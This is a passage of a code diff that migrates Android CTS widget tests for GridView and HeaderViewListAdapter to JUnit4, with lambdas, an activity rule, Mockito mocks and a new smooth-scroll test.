+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(GridView.STRETCH_SPACING, mGridView.getStretchMode());
@@ -364,13 +375,11 @@
         child = mGridView.getChildAt(1);
         childRight[STRETCH_SPACING][INDEX_1] = child.getRight();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setColumnWidth(15);
-                mGridView.setStretchMode(GridView.STRETCH_COLUMN_WIDTH);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setColumnWidth(15);
+            mGridView.setStretchMode(GridView.STRETCH_COLUMN_WIDTH);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(GridView.STRETCH_COLUMN_WIDTH, mGridView.getStretchMode());
@@ -383,13 +392,11 @@
         child = mGridView.getChildAt(1);
         childRight[STRETCH_COLUMN_WIDTH][INDEX_1] = child.getRight();
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setColumnWidth(15);
-                mGridView.setStretchMode(GridView.STRETCH_SPACING_UNIFORM);
-                mGridView.invalidate();
-                mGridView.requestLayout();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setColumnWidth(15);
+            mGridView.setStretchMode(GridView.STRETCH_SPACING_UNIFORM);
+            mGridView.invalidate();
+            mGridView.requestLayout();
         });
         mInstrumentation.waitForIdleSync();
         assertEquals(GridView.STRETCH_SPACING_UNIFORM, mGridView.getStretchMode());
@@ -416,17 +423,14 @@
                 < childRight[STRETCH_SPACING_UNIFORM][INDEX_1]);
     }
 
-    public void testSetNumColumns() {
-        mGridView = findGridViewById(R.id.gridview);
-
+    @Test
+    public void testSetNumColumns() throws Throwable {
         // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new MockGridViewAdapter(10));
-                mGridView.setHorizontalSpacing(0);
-                mGridView.setVerticalSpacing(0);
-                mGridView.setNumColumns(10);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new MockGridViewAdapter(10));
+            mGridView.setHorizontalSpacing(0);
+            mGridView.setVerticalSpacing(0);
+            mGridView.setNumColumns(10);
         });
         mInstrumentation.waitForIdleSync();
 
@@ -434,11 +438,7 @@
         View child9 = mGridView.getChildAt(9);
         assertEquals(child0.getBottom(), child9.getBottom());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setNumColumns(9);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setNumColumns(9));
         mInstrumentation.waitForIdleSync();
 
         child0 = mGridView.getChildAt(0);
@@ -446,11 +446,7 @@
         assertEquals(child0.getBottom(), child9.getTop());
         assertEquals(child0.getLeft(), child9.getLeft());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setNumColumns(1);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setNumColumns(1));
         mInstrumentation.waitForIdleSync();
 
         for (int i = 0; i < mGridView.getChildCount(); i++) {
@@ -459,43 +455,35 @@
         }
     }
 
-    public void testGetNumColumns() {
-        mGridView = new GridView(mActivity);
+    @Test
+    public void testDefaultNumColumns() {
+        final GridView gridView = new GridView(mActivity);
+        assertEquals(gridView.getNumColumns(), GridView.AUTO_FIT);
+    }
 
-        assertEquals(mGridView.getNumColumns(), GridView.AUTO_FIT);
-
-        mGridView = findGridViewById(R.id.gridview);
-
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new MockGridViewAdapter(10));
-                mGridView.setNumColumns(10);
-            }
+    @Test
+    public void testGetNumColumns() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new MockGridViewAdapter(10));
+            mGridView.setNumColumns(10);
         });
         mInstrumentation.waitForIdleSync();
 
         assertEquals(mGridView.getNumColumns(), 10);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setNumColumns(1);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setNumColumns(1));
         mInstrumentation.waitForIdleSync();
 
         assertEquals(mGridView.getNumColumns(), 1);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setNumColumns(0);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mGridView.setNumColumns(0));
         mInstrumentation.waitForIdleSync();
 
         //although setNumColumns(0) was called, the number of columns should be 1
         assertEquals(mGridView.getNumColumns(), 1);
     }
 
+    @Test
     public void testAttachLayoutAnimationParameters() {
         MockGridView mockGridView = new MockGridView(mActivity);
         ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(320, 480);
@@ -505,12 +493,14 @@
         assertEquals(2, animationParams.count);
     }
 
+    @Test
     public void testLayoutChildren() {
         MockGridView mockGridView = new MockGridView(mActivity);
         mockGridView.layoutChildren();
     }
 
     @UiThreadTest
+    @Test
     public void testOnFocusChanged() {
         final MockGridView mockGridView = new MockGridView(mActivity);
 
@@ -528,40 +518,34 @@
         assertTrue(mockGridView.hasCalledOnFocusChanged());
     }
 
-    public void testOnMeasure() {
-        // Do not test it. It's implementation detail.
-    }
-
-    public void testSetColumnWidth() {
-        mGridView = findGridViewById(R.id.gridview);
-
-        // this test case can not be ran in UI thread.
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setAdapter(new MockGridViewAdapter(10));
-                mGridView.setNumColumns(GridView.AUTO_FIT);
-                mGridView.setHorizontalSpacing(0);
-                mGridView.setVerticalSpacing(0);
-                mGridView.setColumnWidth(0);
-            }
+    @Test
+    public void testAccessColumnWidth() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new MockGridViewAdapter(10));
+            mGridView.setNumColumns(GridView.AUTO_FIT);
+            mGridView.setHorizontalSpacing(0);
+            mGridView.setVerticalSpacing(0);
+            mGridView.setColumnWidth(0);
         });
         mInstrumentation.waitForIdleSync();
 
         // Verify whether column number equals 2.
+        assertEquals(0, mGridView.getRequestedColumnWidth());
+        assertEquals(mGridView.getWidth() / 2, mGridView.getColumnWidth());
         View child0 = mGridView.getChildAt(0);
         View child1 = mGridView.getChildAt(1);
         View child2 = mGridView.getChildAt(2);
         assertEquals(child0.getBottom(), child1.getBottom());
         assertEquals(child0.getLeft(), child2.getLeft());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mGridView.setNumColumns(GridView.AUTO_FIT);
-                mGridView.setColumnWidth(Integer.MAX_VALUE);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setNumColumns(GridView.AUTO_FIT);
+            mGridView.setColumnWidth(Integer.MAX_VALUE);
         });
         mInstrumentation.waitForIdleSync();
 
+        assertEquals(Integer.MAX_VALUE, mGridView.getRequestedColumnWidth());
+        assertEquals(mGridView.getWidth(), mGridView.getColumnWidth());
         child0 = mGridView.getChildAt(0);
         child1 = mGridView.getChildAt(1);
         assertEquals(child0.getBottom(), child1.getTop());
@@ -569,21 +553,21 @@
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnScroll() {
-        mGridView = findGridViewById(R.id.gridview);
+    @Test
+    public void testFullyDetachUnusedViewOnScroll() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.scrollListBy(mGridView.getHeight() * 2);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
             // listview limits scroll to 1 page which is why we call it twice here.
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
@@ -595,21 +579,21 @@
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnReLayout() {
-        mGridView = findGridViewById(R.id.gridview);
+    @Test
+    public void testFullyDetachUnusedViewOnReLayout() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setSelection(800);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setSelection(0);
         });
         assertNotNull("test sanity, view should be re-added", theView.getParent());
@@ -619,44 +603,84 @@
     }
 
     @MediumTest
-    public void testFullyDetachUnusedViewOnScrollForFocus() {
-        mGridView = findGridViewById(R.id.gridview);
+    @Test
+    public void testFullyDetachUnusedViewOnScrollForFocus() throws Throwable {
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
         while(theView.getParent() != null) {
             assertEquals("the view should NOT be detached", 0, theView.mOnDetachCount);
-            sendKeys(KeyEvent.KEYCODE_DPAD_DOWN);
-            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mGridView, KeyEvent.KEYCODE_DPAD_DOWN);
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, null);
         }
         assertEquals("the view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
         while(theView.getParent() == null) {
-            sendKeys(KeyEvent.KEYCODE_DPAD_UP);
-            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mGridView, KeyEvent.KEYCODE_DPAD_UP);
+            WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mGridView, null);
         }
         assertEquals("the view should be re-attached", 2, theView.mOnAttachCount);
-        assertEquals("the view should not recieve another detach", 1, theView.mOnDetachCount);
+        assertEquals("the view should not receive another detach", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
     }
 
-    private static class MockGridView extends GridView {
-        private boolean mCalledOnMeasure = false;
-        private boolean mCalledOnFocusChanged = false;
+    @LargeTest
+    @Test
+    public void testSmoothScrollByOffset() throws Throwable {
+        final int itemCount = 300;
+        mActivityRule.runOnUiThread(() -> {
+            mGridView.setAdapter(new MockGridViewAdapter(itemCount));
+            mGridView.setNumColumns(GridView.AUTO_FIT);
+            mGridView.setHorizontalSpacing(0);
+            mGridView.setVerticalSpacing(0);
+            mGridView.setColumnWidth(Integer.MAX_VALUE);
+        });
+        mInstrumentation.waitForIdleSync();
 
-        public boolean hasCalledOnMeasure() {
-            return mCalledOnMeasure;
+        assertEquals(0, mGridView.getFirstVisiblePosition());
+
+        // Register a scroll listener on our GridView. The listener will notify our latch
+        // when the "target" item comes into view. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch latch = new CountDownLatch(1);
+        final int positionToScrollTo = itemCount - 10;
+        mGridView.setOnScrollListener(new AbsListView.OnScrollListener() {
+            @Override
+            public void onScrollStateChanged(AbsListView view, int scrollState) {
+            }
+
+            @Override
+            public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount,
+                    int totalItemCount) {
+                if ((positionToScrollTo >= firstVisibleItem) &&
+                        (positionToScrollTo <= (firstVisibleItem + visibleItemCount))) {
+                    latch.countDown();
+                }
+            }
+        });
+        int offset = positionToScrollTo - mGridView.getLastVisiblePosition();
+        mActivityRule.runOnUiThread(() -> mGridView.smoothScrollByOffset(offset));
+
+        boolean result = false;
+        try {
+            result = latch.await(20, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            // ignore
         }
+        assertTrue("Timed out while waiting for the target view to be scrolled into view", result);
+    }
+
+    private static class MockGridView extends GridView {
+        private boolean mCalledOnFocusChanged = false;
 
         public boolean hasCalledOnFocusChanged() {
             return mCalledOnFocusChanged;
         }
 
         public void reset() {
-            mCalledOnMeasure = false;
             mCalledOnFocusChanged = false;
         }
 
@@ -684,48 +708,11 @@
         }
 
         @Override
-        protected int computeVerticalScrollExtent() {
-            return super.computeVerticalScrollExtent();
-        }
-
-        @Override
-        protected int computeVerticalScrollOffset() {
-            return super.computeVerticalScrollOffset();
-        }
-
-        @Override
-        protected int computeVerticalScrollRange() {
-            return super.computeVerticalScrollRange();
-        }
-
-        @Override
         protected void onFocusChanged(boolean gainFocus, int direction,
                 Rect previouslyFocusedRect) {
             mCalledOnFocusChanged = true;
             super.onFocusChanged(gainFocus, direction, previouslyFocusedRect);
         }
-
-        @Override
-        protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
-            mCalledOnMeasure = true;
-            super.onMeasure(widthMeasureSpec, heightMeasureSpec);
-        }
-    }
-
-    class MockOnItemClickListener implements OnItemClickListener {
-        private boolean mOnItemClickCalled = false;
-
-        public boolean hasOnItemClickCalled() {
-            return mOnItemClickCalled;
-        }
-
-        public void reset() {
-            mOnItemClickCalled = false;
-        }
-
-        public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
-            mOnItemClickCalled = true;
-        }
     }
 
     private class MockGridViewAdapter implements ListAdapter, Filterable {
@@ -735,10 +722,6 @@
             mCount = count;
         }
 
-        MockGridViewAdapter() {
-            this(1);
-        }
-
         public boolean areAllItemsEnabled() {
             return true;
         }
@@ -812,7 +795,7 @@
         }
     }
 
-    public class ImageAdapter implements ListAdapter {
+    private class ImageAdapter implements ListAdapter {
         public ImageAdapter(Context c) {
             mContext = c;
         }
@@ -872,14 +855,6 @@
             mDataSetObservable.unregisterObserver(observer);
         }
 
-        public void notifyDataSetChanged() {
-            mDataSetObservable.notifyChanged();
-        }
-
-        public void notifyDataSetInvalidated() {
-            mDataSetObservable.notifyInvalidated();
-        }
-
         public boolean areAllItemsEnabled() {
             return true;
         }
@@ -888,10 +863,6 @@
             return true;
         }
 
-        public View getDropDownView(int position, View convertView, ViewGroup parent) {
-            return getView(position, convertView, parent);
-        }
-
         public int getItemViewType(int position) {
             return 0;
         }
diff --git a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
index 2b92a4d..dcfd7d2 100644
--- a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
@@ -16,10 +16,19 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+
 import android.content.Context;
 import android.database.DataSetObserver;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AdapterView;
@@ -29,29 +38,41 @@
 import android.widget.ListAdapter;
 import android.widget.ListView;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 
 /**
  * Test {@link HeaderViewListAdapter}.
  */
-public class HeaderViewListAdapterTest extends InstrumentationTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class HeaderViewListAdapterTest {
     private Context mContext;
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+    private HeaderViewFullAdapter mFullAdapter;
+    private HeaderViewEmptyAdapter mEmptyAdapter;
+
+    @UiThreadTest
+    @Before
+    public void setup() throws Throwable {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mFullAdapter = new HeaderViewFullAdapter();
+        mEmptyAdapter = new HeaderViewEmptyAdapter();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>();
         ArrayList<ListView.FixedViewInfo> footer = new ArrayList<ListView.FixedViewInfo>(5);
         new HeaderViewListAdapter(header, footer, null);
 
-        new HeaderViewListAdapter(header, footer, new HeaderViewEmptyAdapter());
+        new HeaderViewListAdapter(header, footer, mEmptyAdapter);
     }
 
+    @Test
     public void testGetHeadersCount() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertEquals(0, headerViewListAdapter.getHeadersCount());
@@ -63,6 +84,7 @@
         assertEquals(1, headerViewListAdapter.getHeadersCount());
     }
 
+    @Test
     public void testGetFootersCount() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertEquals(0, headerViewListAdapter.getFootersCount());
@@ -75,19 +97,19 @@
     }
 
     @UiThreadTest
+    @Test
     public void testIsEmpty() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertTrue(headerViewListAdapter.isEmpty());
 
-        HeaderViewEmptyAdapter emptyAdapter = new HeaderViewEmptyAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, emptyAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mEmptyAdapter);
         assertTrue(headerViewListAdapter.isEmpty());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertFalse(headerViewListAdapter.isEmpty());
     }
 
+    @Test
     public void testRemoveHeader() {
         ListView lv = new ListView(mContext);
         ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>(4);
@@ -105,15 +127,10 @@
         assertTrue(headerViewListAdapter.removeHeader(lv1));
         assertEquals(1, headerViewListAdapter.getHeadersCount());
 
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
-        try {
-            headerViewListAdapter.removeHeader(null);
-            //fail("Removing from null header should result in NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
+        headerViewListAdapter.removeHeader(null);
     }
 
+    @Test
     public void testRemoveFooter() {
         ListView lv = new ListView(mContext);
         ArrayList<ListView.FixedViewInfo> footer = new ArrayList<ListView.FixedViewInfo>(4);
@@ -131,16 +148,11 @@
         assertTrue(headerViewListAdapter.removeFooter(lv1));
         assertEquals(1, headerViewListAdapter.getFootersCount());
 
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
-        try {
-            headerViewListAdapter.removeFooter(null);
-            //fail("Removing from null footer should result in NullPointerException");
-        } catch (NullPointerException e) {
-            // expected.
-        }
+        headerViewListAdapter.removeFooter(null);
     }
 
     @UiThreadTest
+    @Test
     public void testGetCount() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertEquals(0, headerViewListAdapter.getCount());
@@ -165,59 +177,56 @@
         footer.add(info3);
         footer.add(info4);
 
-        HeaderViewEmptyAdapter emptyAdapter = new HeaderViewEmptyAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(header, footer, emptyAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(header, footer, mEmptyAdapter);
         // 4 is header's count + footer's count + emptyAdapter's count
         assertEquals(4, headerViewListAdapter.getCount());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(header, footer, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(header, footer, mFullAdapter);
         // 5 is header's count + footer's count + fullAdapter's count
         assertEquals(5, headerViewListAdapter.getCount());
     }
 
-    @UiThreadTest
+    @Test
     public void testAreAllItemsEnabled() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertTrue(headerViewListAdapter.areAllItemsEnabled());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertTrue(headerViewListAdapter.areAllItemsEnabled());
 
-        HeaderViewEmptyAdapter emptyAdapter = new HeaderViewEmptyAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, emptyAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mEmptyAdapter);
         assertFalse(headerViewListAdapter.areAllItemsEnabled());
     }
 
+    @Test
     public void testIsEnabled() {
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
         HeaderViewListAdapter headerViewListAdapter =
-            new HeaderViewListAdapter(null, null, fullAdapter);
+            new HeaderViewListAdapter(null, null, mFullAdapter);
         assertTrue(headerViewListAdapter.isEnabled(0));
-        
+
         ListView lv = new ListView(mContext);
         ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>(4);
         header.add(lv.new FixedViewInfo());
-        headerViewListAdapter = new HeaderViewListAdapter(header, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(header, null, mFullAdapter);
         assertFalse(headerViewListAdapter.isEnabled(0));
         assertTrue(headerViewListAdapter.isEnabled(1));
 
         ArrayList<ListView.FixedViewInfo> footer = new ArrayList<ListView.FixedViewInfo>(4);
         footer.add(lv.new FixedViewInfo());
         footer.add(lv.new FixedViewInfo());
-        headerViewListAdapter = new HeaderViewListAdapter(header, footer, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(header, footer, mFullAdapter);
         assertFalse(headerViewListAdapter.isEnabled(0));
         assertTrue(headerViewListAdapter.isEnabled(1));
         assertFalse(headerViewListAdapter.isEnabled(2));
         assertFalse(headerViewListAdapter.isEnabled(3));
 
-        headerViewListAdapter = new HeaderViewListAdapter(null, footer, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, footer, mFullAdapter);
         assertTrue(headerViewListAdapter.isEnabled(0));
         assertFalse(headerViewListAdapter.isEnabled(1));
         assertFalse(headerViewListAdapter.isEnabled(2));
     }
 
+    @Test
     public void testGetItem() {
         ListView lv = new ListView(mContext);
         ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>(4);
@@ -239,16 +248,16 @@
         footer.add(info3);
         footer.add(info4);
 
-        HeaderViewFullAdapter headerViewFullAdapter = new HeaderViewFullAdapter();
         HeaderViewListAdapter headerViewListAdapter =
-            new HeaderViewListAdapter(header, footer, headerViewFullAdapter);
+            new HeaderViewListAdapter(header, footer, mFullAdapter);
         assertSame(data1, headerViewListAdapter.getItem(0));
         assertSame(data2, headerViewListAdapter.getItem(1));
-        assertSame(headerViewFullAdapter.getItem(0), headerViewListAdapter.getItem(2));
+        assertSame(mFullAdapter.getItem(0), headerViewListAdapter.getItem(2));
         assertSame(data3, headerViewListAdapter.getItem(3));
         assertSame(data4, headerViewListAdapter.getItem(4));
     }
 
+    @Test
     public void testGetItemId() {
         ListView lv = new ListView(mContext);
         ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>(4);
@@ -261,25 +270,25 @@
         header.add(info1);
         header.add(info2);
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
         HeaderViewListAdapter headerViewListAdapter =
-            new HeaderViewListAdapter(header, null, fullAdapter);
+            new HeaderViewListAdapter(header, null, mFullAdapter);
         assertEquals(-1, headerViewListAdapter.getItemId(0));
-        assertEquals(fullAdapter.getItemId(0), headerViewListAdapter.getItemId(2));
+        assertEquals(mFullAdapter.getItemId(0), headerViewListAdapter.getItemId(2));
     }
 
+    @Test
     public void testHasStableIds() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertFalse(headerViewListAdapter.hasStableIds());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertTrue(headerViewListAdapter.hasStableIds());
     }
 
+    @Test
     public void testGetView() {
         ListView lv = new ListView(mContext);
-        ArrayList<ListView.FixedViewInfo> header = new ArrayList<ListView.FixedViewInfo>(4);
+        ArrayList<ListView.FixedViewInfo> header = new ArrayList<>(4);
         ListView lv1 = new ListView(mContext);
         ListView lv2 = new ListView(mContext);
         ListView.FixedViewInfo info1 = lv.new FixedViewInfo();
@@ -295,25 +304,24 @@
         assertSame(lv2, headerViewListAdapter.getView(1, null, null));
 
         // Adapter only
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        View expected = fullAdapter.getView(0, null, null);
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        View expected = mFullAdapter.getView(0, null, null);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertSame(expected, headerViewListAdapter.getView(0, null, null));
 
         // Header and adapter
-        headerViewListAdapter = new HeaderViewListAdapter(header, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(header, null, mFullAdapter);
         assertSame(lv1, headerViewListAdapter.getView(0, null, null));
         assertSame(lv2, headerViewListAdapter.getView(1, null, null));
         assertSame(expected, headerViewListAdapter.getView(2, null, null));
     }
 
+    @Test
     public void testGetItemViewType() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertEquals(AdapterView.ITEM_VIEW_TYPE_HEADER_OR_FOOTER,
                 headerViewListAdapter.getItemViewType(0));
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
         assertEquals(AdapterView.ITEM_VIEW_TYPE_HEADER_OR_FOOTER,
                 headerViewListAdapter.getItemViewType(-1));
         assertEquals(0, headerViewListAdapter.getItemViewType(0));
@@ -321,58 +329,57 @@
                 headerViewListAdapter.getItemViewType(2));
     }
 
+    @Test
     public void testGetViewTypeCount() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
         assertEquals(1, headerViewListAdapter.getViewTypeCount());
 
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
-        headerViewListAdapter = new HeaderViewListAdapter(null, null, fullAdapter);
-        assertEquals(fullAdapter.getViewTypeCount(), headerViewListAdapter.getViewTypeCount());
+        headerViewListAdapter = new HeaderViewListAdapter(null, null, mFullAdapter);
+        assertEquals(mFullAdapter.getViewTypeCount(), headerViewListAdapter.getViewTypeCount());
     }
 
+    @Test
     public void testRegisterDataSetObserver() {
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
         HeaderViewListAdapter headerViewListAdapter =
-            new HeaderViewListAdapter(null, null, fullAdapter);
-        DataSetObserver observer = new HeaderViewDataSetObserver();
-        headerViewListAdapter.registerDataSetObserver(observer);
-        assertSame(observer, fullAdapter.getDataSetObserver());
+            new HeaderViewListAdapter(null, null, mFullAdapter);
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        headerViewListAdapter.registerDataSetObserver(mockDataSetObserver);
+        assertSame(mockDataSetObserver, mFullAdapter.getDataSetObserver());
     }
 
+    @Test
     public void testUnregisterDataSetObserver() {
-        HeaderViewFullAdapter fullAdapter = new HeaderViewFullAdapter();
         HeaderViewListAdapter headerViewListAdapter =
-            new HeaderViewListAdapter(null, null, fullAdapter);
-        DataSetObserver observer = new HeaderViewDataSetObserver();
-        headerViewListAdapter.registerDataSetObserver(observer);
+            new HeaderViewListAdapter(null, null, mFullAdapter);
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        headerViewListAdapter.registerDataSetObserver(mockDataSetObserver);
 
         headerViewListAdapter.unregisterDataSetObserver(null);
-        assertSame(observer, fullAdapter.getDataSetObserver());
-        headerViewListAdapter.unregisterDataSetObserver(observer);
-        assertNull(fullAdapter.getDataSetObserver());
+        assertSame(mockDataSetObserver, mFullAdapter.getDataSetObserver());
+        headerViewListAdapter.unregisterDataSetObserver(mockDataSetObserver);
+        assertNull(mFullAdapter.getDataSetObserver());
     }
 
     @UiThreadTest
+    @Test
     public void testGetFilter() {
         HeaderViewListAdapter headerViewListAdapter = new HeaderViewListAdapter(null, null, null);
